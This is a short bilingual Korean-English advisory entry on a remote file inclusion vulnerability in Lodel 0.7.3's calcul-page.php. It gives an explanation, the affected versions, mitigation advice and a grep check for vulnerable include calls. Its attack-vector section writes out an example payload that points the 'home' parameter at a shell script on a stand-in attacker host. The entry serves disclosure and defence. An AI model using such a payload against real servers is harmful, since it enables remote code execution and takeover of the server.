🇰🇷 한글 설명
Lodel 0.7.3의 calcul-page.php 파일에서 home 파라미터에 대한 부적절한 입력 검증으로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 URL을 전달하여 서버에서 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트의 특정 페이지에서 사용자가 제공한 파일 경로를 검증하지 않아, 외부에서 악성 코드가 포함된 파일을 불러와 실행할 수 있는 보안 결함입니다. 이를 이용하면 공격자가 서버의 모든 권한으로 명령을 실행할 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in calcul-page.php in Lodel (patchlodel) 0.7.3 allows remote attackers to execute arbitrary PHP code via a URL in the home parameter.
📍 영향받는 시스템
Lodel (patchlodel) 0.7.3 및 그 이하 버전
⚔️ 공격 벡터
home 파라미터에 원격 PHP 파일 URL을 삽입하여 calcul-page.php에 전달: ?home=http://attacker.com/shell.php
🛡️ 대응 방법
최신 버전으로 업그레이드하거나, home 파라미터에 대해 화이트리스트 기반 검증 및 파일 경로 정규화를 구현
🔧 검증 코드
Lodel 설치 디렉토리에서 $_GET 또는 $_POST 변수를 직접 include/require에 사용하는 코드가 나타나면 RFI 취약점이 존재할 수 있습니다.
grep -r 'include.*\$_' /path/to/lodel/ 2>/dev/null | grep -i home